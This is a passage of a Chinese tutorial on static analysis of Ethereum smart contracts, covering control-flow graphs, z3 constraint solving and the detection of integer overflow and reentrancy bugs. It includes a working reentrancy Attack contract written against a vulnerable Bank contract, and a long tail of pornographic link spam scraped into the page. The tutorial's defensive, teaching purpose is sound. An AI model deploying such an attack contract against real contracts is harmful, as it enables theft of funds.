    簡(jiǎn)單來(lái)說(shuō),基本塊之間的邊就是基本塊之間的跳轉(zhuǎn)關(guān)系。以基本塊1為例,其最后一條指令是條件跳轉(zhuǎn)指令,如果條件成立就跳轉(zhuǎn)到基本塊3,否則就跳轉(zhuǎn)到基本塊2。所以基本塊1就存在基本塊1->基本塊2和基本塊1->基本塊3兩條邊?;緣K6的最后一條指令是跳轉(zhuǎn)指令,該指令會(huì)直接跳轉(zhuǎn)到基本塊8,所以基本塊6就存在基本塊6->基本塊8這一條邊。

    結(jié)合反編譯代碼和基本塊的劃分,我們不難得出所有邊的集合E:

    • {
    • '基本塊1': ['基本塊2','基本塊3'],
    • '基本塊2': ['基本塊3','基本塊4'],
    • '基本塊3': ['基本塊11'],
    • '基本塊4': ['基本塊5','基本塊6'],
    • '基本塊5': ['基本塊11'],
    • '基本塊6': ['基本塊8'],
    • '基本塊7': ['基本塊8'],
    • '基本塊8': ['基本塊9','基本塊10'],
    • '基本塊9': ['基本塊11'],
    • '基本塊10': ['基本塊7']
    • }

    我們把邊的集合E用python中的dict類型表示,dict中的key是基本塊,key對(duì)應(yīng)的value值是一個(gè)list。還是以基本塊1為例,因?yàn)榛緣K1存在基本塊1->基本塊2和基本塊1->基本塊3兩條邊,所以'基本塊1'對(duì)應(yīng)的list值為['基本塊2','基本塊3']。

    3.4 構(gòu)建控制流圖

    在前兩個(gè)小節(jié)中我們構(gòu)建完成了基本塊和邊,到此構(gòu)建控制流圖的準(zhǔn)備工作都已完成,接下來(lái)我們就要把基本塊和邊整合在一起,繪制完整的控制流圖。

    上圖就是完整的控制流圖,從圖中我們可以清晰直觀的看到基本塊之間的跳轉(zhuǎn)關(guān)系,比如基本塊1是條件跳轉(zhuǎn),根據(jù)條件是否成立跳轉(zhuǎn)到不同的基本塊,于是就形成了兩條邊?;緣K2和基本塊1類似也是條件跳轉(zhuǎn),也會(huì)形成兩條邊?;緣K6是直接跳轉(zhuǎn),所以只會(huì)形成一條邊。

    在該控制流圖中,只有一個(gè)起始?jí)K(基本塊1)和一個(gè)結(jié)束塊(基本塊11)。當(dāng)流程走到基本塊11的時(shí)候,表示整個(gè)流程結(jié)束。需要指出的是,基本塊11中只包含一條指令STOP。

    3.5 總結(jié)

    本章先介紹了控制流圖中的基本概念,之后根據(jù)基本塊的構(gòu)建原則完成所有基本塊的構(gòu)建,接著結(jié)合反編譯代碼分析了基本塊之間的跳轉(zhuǎn)關(guān)系,畫出所有的邊。當(dāng)所有的準(zhǔn)備工作完成后,最后繪制出控制流圖。在下一章中,我們將對(duì)構(gòu)建好的控制流圖,采用z3對(duì)其進(jìn)行約束求解。

    第四章 從控制流圖開(kāi)始約束求解

    在本章中我們將使用z3對(duì)第三章中生成的控制流圖進(jìn)行約束求解。z3是什么,約束求解又是什么呢?下面將會(huì)給大家一一解答。

    約束求解:求出能夠滿足所有約束條件的每個(gè)變量的值。

    z3: z3是由微軟公司開(kāi)發(fā)的一個(gè)優(yōu)秀的約束求解器,用它能求解出滿足約束條件的變量的值。

    從3.4節(jié)的控制流圖中我們不難發(fā)現(xiàn),圖中用菱形表示的跳轉(zhuǎn)條件左右著基本塊跳轉(zhuǎn)的方向。如果我們用變量表示跳轉(zhuǎn)條件中的輸入數(shù)據(jù),再把變量組合成數(shù)學(xué)表達(dá)式,此時(shí)跳轉(zhuǎn)條件就轉(zhuǎn)變成了約束條件,之后我們借助z3對(duì)約束條件進(jìn)行求解,根據(jù)求解的結(jié)果我們就能判斷出基本塊的跳轉(zhuǎn)方向,如此一來(lái)我們就能模擬整個(gè)程序的執(zhí)行。

    接下來(lái)我們就從z3的基本使用開(kāi)始,一步一步的完成對(duì)所有跳轉(zhuǎn)條件的約束求解。

    4.1 z3的使用

    我們以z3的python實(shí)現(xiàn)z3py為例介紹z3是如何使用的[3]。

    4.1.1 基本用法

    • from z3 import *
    • x = Int('x')
    • y = Int('y')
    • solve(x > 2, y < 10, x + 2*y == 7)

    在上面的代碼中,函數(shù)Int('x')在z3中創(chuàng)建了一個(gè)名為x的變量,之后調(diào)用了solve函數(shù)求在三個(gè)約束條件下的解,這三個(gè)約束條件分別是x > 2,?y < 10,?x + 2*y == 7,運(yùn)行上面的代碼,輸出結(jié)果為:

    • [y = 0, x = 7]

    實(shí)際上滿足約束條件的解不止一個(gè),比如[y=1,x=5]也符合條件,但是z3在默認(rèn)情況下只尋找滿足約束條件的一組解,而不是找出所有解。

    4.1.2 布爾運(yùn)算

    • from z3 import *
    • p = Bool('p')
    • q = Bool('q')
    • r = Bool('r')
    • solve(Implies(p, q), r == Not(q), Or(Not(p), r))

    上面的代碼演示了z3如何求解布爾約束,代碼的運(yùn)行結(jié)果如下:

    • [q = False, p = False, r = True]

    4.1.3 位向量

    在z3中我們可以創(chuàng)建固定長(zhǎng)度的位向量,比如在下面的代碼中BitVec('x', 16)創(chuàng)建了一個(gè)長(zhǎng)度為16位,名為x的變量。

    • from z3 import *
    • x = BitVec('x', 16)
    • y = BitVec('y', 16)
    • solve(x + y > 5)

    在z3中除了可以創(chuàng)建位向量變量之外,也可以創(chuàng)建位向量常量。下面代碼中的BitVecVal(-1, 16)創(chuàng)建了一個(gè)長(zhǎng)度為16位,值為1的位向量常量。

    • from z3 import *
    • a = BitVecVal(-1, 16)
    • b = BitVecVal(65535, 16)
    • print simplify(a == b)

    4.1.4 求解器

    • from z3 import *
    • x = Int('x')
    • y = Int('y')
    • s = Solver()
    • s.add(x > 10, y == x + 2)
    • print s
    • print s.check()

    在上面代碼中,Solver()創(chuàng)建了一個(gè)通用的求解器,之后調(diào)用add()添加約束,調(diào)用check()判斷是否有滿足約束的解。如果有解則返回sat,如果沒(méi)有則返回unsat

    4.2 使用z3進(jìn)行約束求解

    對(duì)于智能合約而言,當(dāng)執(zhí)行到CALLDATASIZE、CALLDATALOAD等指令時(shí),表示程序要獲取外部的輸入數(shù)據(jù),此時(shí)我們用z3中的BitVec函數(shù)創(chuàng)建一個(gè)位向量變量來(lái)代替輸入數(shù)據(jù);當(dāng)執(zhí)行到LT、EQ等指令時(shí),此時(shí)我們用z3創(chuàng)建一個(gè)類似If(ULE(xx,xx), 0, 1)的表達(dá)式。

    4.2.1 生成數(shù)學(xué)表達(dá)式

    接下來(lái)我們以3.2節(jié)中的基本塊1為例,看看如何把智能合約的指令轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。

    在開(kāi)始轉(zhuǎn)換之前,我們先來(lái)模擬下以太坊虛擬機(jī)的運(yùn)行環(huán)境。我們用變量stack=[]來(lái)表示以太坊虛擬機(jī)的棧,用變量memory={}來(lái)表示以太坊虛擬機(jī)的內(nèi)存,用變量storage={}來(lái)表示storage。

    基本塊1為例的指令碼如下:

    • 00000: PUSH1 0x80
    • 00002: PUSH1 0x40
    • 00004: MSTORE
    • 00005: PUSH1 0x04
    • 00007: CALLDATASIZE
    • 00008: LT
    • 00009: PUSH1 0x3e
    • 0000b: JUMPI

    PUSH指令是入棧指令,執(zhí)行兩次入棧后,stack的值為[0x80,0x40]

    MSTORE執(zhí)行之后,stack為空,memory的值為{0x40:0x80}

    CALLDATASIZE指令表示要獲取輸入數(shù)據(jù)的長(zhǎng)度,我們使用z3中的BitVec("Id_size",256),生成一個(gè)長(zhǎng)度為256位,名為Id_size的變量來(lái)表示此時(shí)輸入數(shù)據(jù)的長(zhǎng)度。

    LT指令用來(lái)比較0x04和變量Id_size的大小,如果0x04小于變量Id_size則值為0,否則值為1。使用z3轉(zhuǎn)換成表達(dá)式則為:If(ULE(4, Id_size), 0, 1)

    JUMPI是條件跳轉(zhuǎn)指令,是否跳轉(zhuǎn)到0x3e地址處取決于上一步中LT指令的結(jié)果,即表達(dá)式If(ULE(4, Id_size), 0, 1)的結(jié)果。如果結(jié)果不為0則跳轉(zhuǎn),否則不跳轉(zhuǎn),使用z3轉(zhuǎn)換成表達(dá)式則為:If(ULE(4, Id_size), 0, 1) != 0

    至此,基本塊1中的指令都已經(jīng)使用z3轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。

    4.2.2 執(zhí)行數(shù)學(xué)表達(dá)式

    執(zhí)行上一節(jié)中生成的數(shù)學(xué)表達(dá)式的偽代碼如下所示:

    • from z3 import *
    • Id_size = BitVec("Id_size",256)
    • exp = If(ULE(4, Id_size), 0, 1) != 0
    • solver = Solver()
    • solver.add(exp)
    • if solver.check() == sat:
    • print "jump to BasicBlock3"
    • else:
    • print "error "

    在上面的代碼中調(diào)用了solver的check()方法來(lái)判斷此表達(dá)式是否有解,如果返回值等于sat則表示表達(dá)式有解,也就是說(shuō)LT指令的結(jié)果不為0,那么接下來(lái)就可以跳轉(zhuǎn)到基本塊3。

    觀察3.4節(jié)中的控制流圖我們得知,基本塊1之后有兩條分支,如果滿足判斷條件則跳轉(zhuǎn)到基本塊3,不滿足則跳轉(zhuǎn)到基本塊2。但在上面的代碼中,當(dāng)check()方法的返回值不等于sat時(shí),我們并沒(méi)有跳轉(zhuǎn)到基本塊2,而是直接輸出錯(cuò)誤,這是因?yàn)楫?dāng)條件表達(dá)式無(wú)解時(shí),繼續(xù)向下執(zhí)行沒(méi)有任何意義。那么如何才能執(zhí)行到基本塊2呢,答案是對(duì)條件表達(dá)式取反,然后再判斷取反后的表達(dá)式是否有解,如果有解則跳轉(zhuǎn)到基本塊2執(zhí)行。偽代碼如下所示:

    • Id_size = BitVec("Id_size",256)
    • exp = If(ULE(4, Id_size), 0, 1) != 0
    • negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)
    • solver = Solver()
    • solver.push()
    • solver.add(exp)
    • if solver.check() == sat:
    • print "jump to BasicBlock3"
    • else:
    • print "error"
    • solver.pop()
    • solver.push()
    • solver.add(negated_exp)
    • if solver.check() == sat:
    • print "falls to BasicBlock2"
    • else:
    • print "error"

    在上面代碼中,我們使用z3中的Not函數(shù),對(duì)之前的條件表達(dá)式進(jìn)行取反,之后調(diào)用check()方法判斷取反后的條件表達(dá)式是否有解,如果有解就執(zhí)行基本塊2。

    4.3 總結(jié)

    本章首先介紹了z3的基本用法,之后以基本塊1為例,分析了如何使用z3把指令轉(zhuǎn)換成表達(dá)式,同時(shí)也分析了如何對(duì)轉(zhuǎn)換后的表達(dá)式進(jìn)行約束求解。在下一章中我們將會(huì)介紹如何在約束求解的過(guò)程中加入對(duì)智能合約漏洞的分析,精彩不容錯(cuò)過(guò)。

    第五章 常見(jiàn)的智能合約漏洞以及檢測(cè)方法

    在本章中,我們首先會(huì)介紹智能合約中常見(jiàn)的漏洞,之后會(huì)分析檢測(cè)這些漏洞的方法。

    5.1 智能合約中常見(jiàn)的漏洞

    5.1.1 整數(shù)溢出漏洞

    我們以8位無(wú)符號(hào)整數(shù)為例分析溢出產(chǎn)生的原因,如下圖所示,最大的8位無(wú)符號(hào)整數(shù)是255,如果此時(shí)再加1就會(huì)變?yōu)?。

    Solidity語(yǔ)言支持從uint8到uint256,uint256的取值范圍是0到2^256-1。如果某個(gè)uint256變量的值為2^256-1,那么這個(gè)變量再加1就會(huì)發(fā)生溢出,同時(shí)該變量的值變?yōu)?。

    • pragma solidity ^0.4.20;
    • contract Test {
    • function overflow() public pure returns (uint256 _overflow) {
    • uint256 max = 2**256-1;
    • return max + 1;
    • }
    • }

    上面的合約代碼中,變量max的值為2^256-1,是uint256所能表示的最大整數(shù),如果再加1就會(huì)產(chǎn)生溢出,max的值變?yōu)?。

    5.1.2 重入漏洞

    當(dāng)智能合約向另一個(gè)智能合約轉(zhuǎn)賬時(shí),后者的fallback函數(shù)會(huì)被調(diào)用。如果fallback函數(shù)中存在惡意代碼,那么惡意代碼會(huì)被執(zhí)行,這就是重入漏洞產(chǎn)生的前提。那么重入漏洞在什么情況下會(huì)發(fā)生呢,下面我們以一個(gè)存在重入漏洞的智能合約為例進(jìn)行分析。

    • pragma solidity ^0.4.20;
    • contract Bank {
    • address owner;
    • mapping (address => uint256) balances;
    • constructor() public payable{
    • owner = msg.sender;
    • }
    • function deposit() public payable {
    • balances[msg.sender] += msg.value;
    • }
    • function withdraw(address receiver, uint256 amount) public{
    • require(balances[msg.sender] > amount);
    • require(address(this).balance > amount);
    • // 使用 call.value()()進(jìn)行ether轉(zhuǎn)幣時(shí),沒(méi)有Gas限制
    • receiver.call.value(amount)();
    • balances[msg.sender] -= amount;
    • }
    • function balanceOf(address addr) public view returns (uint256) {
    • return balances[addr];
    • }
    • }
    • contract Attack {
    • address owner;
    • address victim;
    • constructor() public payable {
    • owner = msg.sender;
    • }
    • function setVictim(address target) public{
    • victim = target;
    • }
    • function step1(uint256 amount) public payable{
    • if (address(this).balance > amount) {
    • victim.call.value(amount)(bytes4(keccak256("deposit()")));
    • }
    • }
    • function step2(uint256 amount) public{
    • victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
    • }
    • // selfdestruct, send all balance to owner
    • function stopAttack() public{
    • selfdestruct(owner);
    • }
    • function startAttack(uint256 amount) public{
    • step1(amount);
    • step2(amount / 2);
    • }
    • function () public payable {
    • if (msg.sender == victim) {
    • // 再次嘗試調(diào)用Bank合約的withdraw函數(shù),遞歸轉(zhuǎn)幣
    • victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
    • }
    • }
    • }

    在上面的代碼中,智能合約Bank是存在重入漏洞的合約,其內(nèi)部的withdraw()方法使用了call方法進(jìn)行轉(zhuǎn)賬,使用該方法轉(zhuǎn)賬時(shí)沒(méi)有g(shù)as限制。 智能合約Attack是個(gè)惡意合約,用來(lái)對(duì)存在重入的智能合約Bank進(jìn)行攻擊。攻擊流程如下:

    • Attack先給Bank轉(zhuǎn)幣
    • Bank在其內(nèi)部的賬本balances中記錄Attack轉(zhuǎn)幣的信息
    • Attack要求Bank退幣
    • Bank先退幣再修改賬本balances

    問(wèn)題就出在Bank是先退幣再去修改賬本balances。因?yàn)锽ank退幣的時(shí)候,會(huì)觸發(fā)Attack的fallback函數(shù),而Attack的fallback函數(shù)中會(huì)再次執(zhí)行退幣操作,如此遞歸下去,Bank沒(méi)有機(jī)會(huì)進(jìn)行修改賬本的操作,最后導(dǎo)致Attack會(huì)多次收到退幣。

    5.2 漏洞的檢測(cè)方法

    5.2.1 整數(shù)溢出漏洞的檢測(cè)

    通過(guò)約束求解可以很容易的發(fā)現(xiàn)智能合約中的整數(shù)溢出漏洞,下面我們就通過(guò)一個(gè)具體的例子一步步的分析。

    首先對(duì)5.1.1節(jié)中的智能合約進(jìn)行反編譯,得到的部分反編譯代碼如下:

    • 000108: PUSH1 0x00
    • 000110: DUP1
    • 000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
    • 000144: SWAP1
    • 000145: POP
    • 000146: PUSH1 0x01
    • 000148: DUP2
    • 000149: ADD
    • 000150: SWAP2
    • 000151: POP
    • 000152: POP
    • 000153: SWAP1
    • 000154: JUMP

    這段反編譯后的代碼對(duì)應(yīng)的是智能合約中的overflow函數(shù),第000149行的ADD指令對(duì)應(yīng)的是函數(shù)中max + 1這行代碼。ADD指令會(huì)把棧頂?shù)膬蓚€(gè)值出棧,相加后把結(jié)果壓入棧頂。下面我們就通過(guò)一段偽代碼來(lái)演示如何檢測(cè)整數(shù)溢出漏洞:

    • def checkOverflow():
    • first = stack.pop(0)
    • second = stack.pop(0)
    • first = BitVecVal(first, 256)
    • second = BitVecVal(second, 256)
    • computed = first + second
    • solver.add(UGT(first, computed))
    • if check_sat(solver) == sat:
    • print "have overflow"

    我們先把棧頂?shù)膬蓚€(gè)值出棧,然后使用z3中BitVecVal()函數(shù)的把這兩個(gè)值轉(zhuǎn)變成位向量常量,接著計(jì)算兩個(gè)位向量常量相加的結(jié)果,最后構(gòu)建表達(dá)式UGT(first, computed)來(lái)判斷加數(shù)是否大于相加的結(jié)果,如果該表達(dá)式有解則說(shuō)明會(huì)發(fā)生整數(shù)溢出[4]。

    5.2.2 重入漏洞的檢測(cè)

    在分析重入漏洞之前,我們先來(lái)總結(jié)在智能合約中用于轉(zhuǎn)賬的方法:

    • address.transfer(amount): 當(dāng)發(fā)送失敗時(shí)會(huì)拋出異常,只會(huì)傳遞2300Gas供調(diào)用,可以防止重入漏洞

    • address.send(amount): 當(dāng)發(fā)送失敗時(shí)會(huì)返回false,只會(huì)傳遞2300Gas供調(diào)用,可以防止重入漏洞

    • address.gas(gas_value).call.value(amount)(): 當(dāng)發(fā)送失敗時(shí)會(huì)返回false,傳遞所有可用Gas進(jìn)行調(diào)用(可通過(guò) gas(gas_value) 進(jìn)行限制),不能有效防止重入

    通過(guò)以上對(duì)比不難發(fā)現(xiàn),transfer(amount)和send(amount)限制Gas最多為2300,使用這兩個(gè)方法轉(zhuǎn)賬可以有效地防止重入漏洞。call.value(amount)()默認(rèn)不限制Gas的使用,這就會(huì)很容易導(dǎo)致重入漏洞的產(chǎn)生。既然call指令是產(chǎn)生重入漏洞的原因所在,那么接下來(lái)我們就詳細(xì)分析這條指令。

    call指令有七個(gè)參數(shù),每個(gè)參數(shù)的含義如下所示:

    call(gas, address, value, in, insize, out, outsize)

    • 第一個(gè)參數(shù)是指定的gas限制,如果不指定該參數(shù),默認(rèn)不限制。
    • 第二個(gè)參數(shù)是接收轉(zhuǎn)賬的地址
    • 第三個(gè)參數(shù)是轉(zhuǎn)賬的金額
    • 第四個(gè)參數(shù)是輸入給call指令的數(shù)據(jù)在memory中的起始地址
    • 第五個(gè)參數(shù)是輸入的數(shù)據(jù)的長(zhǎng)度
    • 第六個(gè)參數(shù)是call指令輸出的數(shù)據(jù)在memory中的起始地址
    • 第七個(gè)參數(shù)是call指令輸出的數(shù)據(jù)的長(zhǎng)度

    通過(guò)以上的分析,總結(jié)下來(lái)我們可以從以下兩個(gè)維度去檢測(cè)重入漏洞

    • 判斷call指令第一個(gè)參數(shù)的值,如果沒(méi)有設(shè)置gas限制,那么就有產(chǎn)生重入漏洞的風(fēng)險(xiǎn)
    • 檢查call指令之后,是否還有其他的操作。

    第二個(gè)維度中提到的call指令之后是否還有其他操作,是如何可以檢測(cè)到重入漏洞的呢?接下來(lái)我們就詳細(xì)分析下。在5.1.2節(jié)中的智能合約Bank是存在重入漏洞的,根本原因就是使用call指令進(jìn)行轉(zhuǎn)賬沒(méi)有設(shè)置Gas限制,同時(shí)在withdraw方法中先退幣再去修改賬本balances,關(guān)鍵代碼如下:

    • receiver.call.value(amount)();
    • balances[msg.sender] -= amount;

    執(zhí)行call指令的時(shí)候,會(huì)觸發(fā)Attack中的fallback函數(shù),而Attack的fallback函數(shù)中會(huì)再次執(zhí)行退幣操作,如此遞歸下去,導(dǎo)致Bank無(wú)法執(zhí)行接下來(lái)的修改賬本balances的操作。此時(shí)如果我們對(duì)代碼做出如下調(diào)整,先修改賬本balances,之后再去調(diào)用call指令,雖然也還會(huì)觸發(fā)Attack中的fallback函數(shù),Attack的fallback函數(shù)中也還會(huì)再次執(zhí)行退幣操作,但是每次退幣操作都是先修改賬本balances,所以Attack只能得到自己之前存放在Bank中的幣,重入漏洞不會(huì)發(fā)生。

    • balances[msg.sender] -= amount;
    • receiver.call.value(amount)();

    總結(jié)

    本文的第一章介紹了智能合約編譯環(huán)境的搭建以及編譯器的使用,第二章講解了常用的匯編指令并且對(duì)反編譯后的代碼進(jìn)行了逐行的分析。前兩章都是基本的準(zhǔn)備工作,從第三章開(kāi)始,我們使用之前的反編譯代碼,構(gòu)建了完整的控制流圖。第四章中我們介紹了z3的用法以及如何把控制流圖中的基本塊中的指令用z3轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。第五章中我們通過(guò)整數(shù)溢出和重入漏洞的案例,詳細(xì)分析了如何在約束求解的過(guò)程中檢測(cè)智能合約中的漏洞。最后,希望讀者在閱讀本文后能有所收獲,如有不足之處歡迎指正。

    參考

  • 以太坊虛擬機(jī)介紹_zxh的專欄-CSDN博客_以太坊虛擬機(jī)

  • http://cc.jlu.edu.cn/G2S/Template/View.aspx

  • Z3Py Guide

  • GitHub - enzymefinance/oyente: An Analysis Tool for Smart Contracts

  • 本文鏈接:區(qū)塊鏈安全-以太坊智能合約靜態(tài)分析 - 360 核心安全技術(shù)博客

    總結(jié)

    以上是生活随笔為你收集整理的区块链安全-以太坊智能合约静态分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    精品一区电影国产 | 久久久免费看片 | 国产色啪| 国产成人精品av在线观 | 国产精品国产自产拍高清av | 五月婷婷播播 | 日韩二区三区 | 色综合久久久久综合 | 日本在线观看一区二区 | 欧美福利在线播放 | 精品99在线视频 | 三级视频日韩 | 91在线一区 | www.午夜 | 中文字幕在线观看的网站 | avav片| 色婷婷免费视频 | 久草视频在线资源 | 97成人在线 | 日韩资源在线播放 | 欧美日韩免费网站 | 午夜精品一区二区三区在线视频 | 国产精品久久久久久一区二区 | 免费在线观看日韩 | 欧美91精品久久久久国产性生爱 | 国产麻豆视频在线观看 | www.com在线观看 | 色网站视频 | 久久久久久中文字幕 | 国产 色 | 国产精品黄色 | 久久久久亚洲精品成人网小说 | 丁香在线观看完整电影视频 | 国产69精品久久久久久久久久 | 久久色视频| 一级黄色片在线免费看 | 国产精品女人久久久 | 国产在线一区二区三区播放 | 亚洲精品国产综合99久久夜夜嗨 | 园产精品久久久久久久7电影 | 久久久久免费精品 | 日本精品视频在线观看 | 麻豆视频免费入口 | 99在线视频免费观看 | 精品国产99国产精品 | 激情www | 久久99在线观看 | aⅴ视频在线 | 久久久久一区二区三区四区 | 亚洲va欧美va国产va黑人 | 国产精品久久久久av福利动漫 | 99久久久国产精品 | 97国产小视频 | 99九九热只有国产精品 | 成人黄色在线看 | 国产黄色网| 色网站免费在线观看 | 日韩精品免费一区二区 | 久久一视频 | 日韩欧美视频免费观看 | 亚洲视频免费在线看 | 国产精品手机播放 | 亚洲经典视频在线观看 | 国产99re| 欧美日韩在线精品 | 成人黄在线观看 | 中国一级片在线观看 | 欧美视频在线观看免费网址 | 综合色综合色 | 国产精品高 | 国内三级在线观看 | 中文字幕在线国产精品 | 亚洲国产无 | 色网站视频 | 日本特黄一级 | av综合在线观看 | 亚洲欧美成人综合 | 久久国内精品99久久6app | 亚洲福利精品 | 久精品视频 | 日韩剧情 | 国产精品成人免费一区久久羞羞 | 91精品秘密在线观看 | 精品主播网红福利资源观看 | 日本精品中文字幕在线观看 | 福利一区视频 | 奇米7777狠狠狠琪琪视频 | 日韩午夜在线 | 日韩精品欧美专区 | 久草在线手机观看 | 天天操天 | 一区二区三区www | 婷婷社区五月天 | 狠狠色丁香婷婷综合橹88 | 国产一区二区电影在线观看 | 在线视频成人 | 一级黄色大片 | 欧美日韩在线精品 | 色综合久久66 | 婷婷丁香色综合狠狠色 | 五月婷网站 | 91传媒91久久久 | 国产精品原创 | 日韩理论在线视频 | 亚洲黄色免费在线 | 在线看片日韩 | 色久av| 中文字幕日韩有码 | 日本在线h | 青青河边草免费直播 | 国产精品久久久久久久久久久久久久 | 日韩免费观看av | 国产剧情久久 | 亚洲国产高清视频 | 91久久国产综合精品女同国语 | 日韩免费在线看 | 日韩大片在线播放 | 国产成人精品亚洲 | 激情视频一区二区三区 | 伊人手机在线 | 四虎最新入口 | 国产免费一区二区三区网站免费 | 91在线影院| 九九九九色 | 成人亚洲精品国产www | 丁香五婷 | 在线免费观看麻豆 | 97电影在线看视频 | 黄色av电影在线 | 92中文资源在线 | 亚洲精品在线观看中文字幕 | 九九久久久久99精品 | 成人在线免费观看视视频 | 色婷婷啪啪免费在线电影观看 | 久久久久国产精品免费免费搜索 | 精品久久国产 | 国产精品国产毛片 | 五月宗合网 | 欧美午夜理伦三级在线观看 | www.夜色.com | 成片免费观看视频 | 欧美日韩国产精品一区二区三区 | 欧美精品一区在线 | 少妇性色午夜淫片aaaze | 欧美日韩在线播放 | 中文在线a天堂 | 国产91成人在在线播放 | 又污又黄网站 | 欧美a√大片 | 免费av免费观看 | 在线看国产| 精品福利视频在线 | 中文字幕观看在线 | 玖玖综合网 | 日韩亚洲国产中文字幕 | 亚洲视频免费 | 婷婷免费在线视频 | 中文字幕欧美日韩va免费视频 | 6080yy午夜一二三区久久 | 香蕉久久久久 | 久久综合毛片 | 免费男女羞羞的视频网站中文字幕 | 干干夜夜| 午夜精品麻豆 | 久久伊人婷婷 | 国产一性一爱一乱一交 | 久产久精国产品 | www国产亚洲精品久久网站 | 亚洲毛片在线观看. | 国产成人久久精品 | 国产剧在线观看片 | free. 性欧美.com | 国产成人精品aaa | 精品一区二区综合 | 成人性生爱a∨ | 国产日本在线观看 | 激情综合五月天 | 久久精品视频在线播放 | 国产精品第一页在线观看 | 精品一区二区在线免费观看 | 国产精品久久久久久久久久久久午夜片 | 黄色网址在线播放 | 在线视频麻豆 | 91av成人| 久久久影视 | 97看片网 | 97av视频在线 | 丁香六月激情 | 日本中文字幕在线一区 | 色九九视频 | 深夜免费小视频 | 在线日韩一区 | 亚州av免费| 国产精品18久久久久vr手机版特色 | 五月天久久综合 | 久久观看最新视频 | 五月激情电影 | 天天天色 | 精品亚洲国产视频 | 日韩久久精品一区二区 | 夜夜视频 | av888.com| 久久视精品 | 99视频精品 | 麻豆传媒视频在线播放 | 国产精品大片 | 国产99视频在线观看 | 丝袜网站在线观看 | 日韩婷婷 | 四虎永久免费网站 | 欧美在线视频一区二区 | 免费日韩 精品中文字幕视频在线 | 国产免费三级在线观看 | 亚洲精品中文字幕视频 | 婷婷激情五月 | 国产在线观看91 | 干狠狠 | 日韩精品一区二区三区高清免费 | 亚洲午夜久久久久久久久电影网 | 国产成人精品亚洲精品 | 99久久精品国产毛片 | 日韩天堂在线观看 | 国产伦精品一区二区三区免费 | 亚洲免费av电影 | 中文字幕乱码电影 | 91综合久久一区二区 | 久久视频一区 | 成人黄色在线视频 | 人人超碰在线 | 九九在线精品视频 | 国产精品一区二区久久国产 | 天天干天天做天天爱 | 久久神马影院 | 久久伊人免费视频 | 五月情婷婷 | 精品免费视频123区 午夜久久成人 | 成人免费观看a | bbb搡bbb爽爽爽 | 在线视频 影院 | 伊人五月天综合 | 精品毛片一区二区免费看 | 日韩一区二区免费在线观看 | 久久久精品国产免费观看一区二区 | 精品久久久久久一区二区里番 | 成年人黄色免费看 | 综合久久婷婷 | 国产精品1000 | 国产黄在线 | 久章操 | 日韩精品免费在线观看视频 | 国产精品久久三 | 97人人模人人爽人人少妇 | av天天草 | 亚洲日本韩国一区二区 | 色五月成人 | 亚洲精品视频网址 | 五月天激情在线 | 在线播放 亚洲 | 午夜影院日本 | 国产成视频在线观看 | 久久综合桃花 | 国产 一区二区三区 在线 | 狠狠色丁香久久综合网 | 国产资源在线播放 | 日韩免费网址 | 国产精品免费麻豆入口 | 国产精品永久免费视频 | 国产小视频在线看 | 国产欧美三级 | 99热在线观看免费 | av中文字幕在线播放 | 亚洲四虎在线 | 国产精品麻豆三级一区视频 | www.人人干| 国产亚洲精品成人av久久影院 | 国产一区二区在线影院 | 国精产品一二三线999 | 中文字幕欲求不满 | 国产精品18videosex性欧美 | 成人av手机在线 | 欧美福利久久 | 久久久精品电影 | 亚洲欧美日韩在线看 | 亚洲成a人片在线观看网站口工 | 国产视频精品视频 | 色婷丁香| 日韩理论片 | 国产精品一区二区免费 | 国内久久精品 | 久久免费公开视频 | 99久久www免费| 午夜av免费观看 | 亚洲精品乱码久久久久久写真 | 久久久综合香蕉尹人综合网 | 视频99爱| 欧美日韩国产在线观看 | 欧美国产亚洲精品久久久8v | 91精品国产综合久久福利 | 天天爱天天色 | 少妇bbb搡bbbb搡bbbb | 国产经典av | 在线观看网站黄 | 天天色天天干天天色 | 日p视频 | 麻豆视频免费入口 | 狠狠综合网 | 在线看片91 | 99久久久久久国产精品 | 伊人天天干 | 国产亚洲精品久久久久久大师 | 国产小视频在线播放 | www.av小说| 男女视频91 | 久久99国产视频 | 精品视频 | 在线观看中文字幕一区 | 国产一区二区电影在线观看 | 国产视频精品久久 | 日韩精品在线播放 | 亚洲 精品在线视频 | 亚洲国产三级在线 | 97超碰超碰久久福利超碰 | 狠狠色丁香久久婷婷综 | 成人免费观看在线视频 | 国产拍揄自揄精品视频麻豆 | 日b视频在线观看网址 | 国产小视频在线播放 | 日韩二级毛片 | 国产成人91 | 美女一区网站 | 2023亚洲精品国偷拍自产在线 | 伊人在线视频 | 中文字幕av在线电影 | 最近日本韩国中文字幕 | 日韩特级毛片 | 日日夜夜网 | 欧美激情综合色 | 免费在线观看黄网站 | 成人免费xyz网站 | 国产精品va | 人人射人人爱 | 国产在线91精品 | 天天摸天天舔天天操 | se婷婷| 久久久久久久久久久免费av | 国产精品毛片久久蜜 | 午夜日b视频 | 国产亚洲视频在线观看 | 国产一级大片在线观看 | 久久手机精品视频 | 久久久噜噜噜久久久 | 波多野结衣一区三区 | 亚州免费视频 | 亚洲高清在线精品 | 香蕉网在线观看 | avlulu久久精品| av一级免费 | 中文视频一区二区 | 免费av大片 | 99在线精品视频观看 | 99视频一区二区 | 国产精品正在播放 | 日韩三区在线观看 | 精品v亚洲v欧美v高清v | 久草香蕉在线 | 美女网站在线观看 | 色多多视频在线观看 | 久久九九免费视频 | 99精品在线直播 | 九九在线免费视频 | 久久免费久久 | 色婷婷视频在线观看 | 国产精品久久在线观看 | 精品黄色在线观看 | 亚州国产精品久久久 | 国产又粗又长的视频 | 久久综合精品国产一区二区三区 | 日日夜操 | 久久视频国产 | 欧美 亚洲 另类 激情 另类 | 日本 在线 视频 中文 有码 | 欧美久久99 | 亚洲乱码国产乱码精品天美传媒 | 久久91网 | 色综合久久88色综合天天人守婷 | 成人小视频在线观看免费 | 国产精品丝袜 | 欧美成人免费在线 | 精品视频 | 欧美日韩观看 | 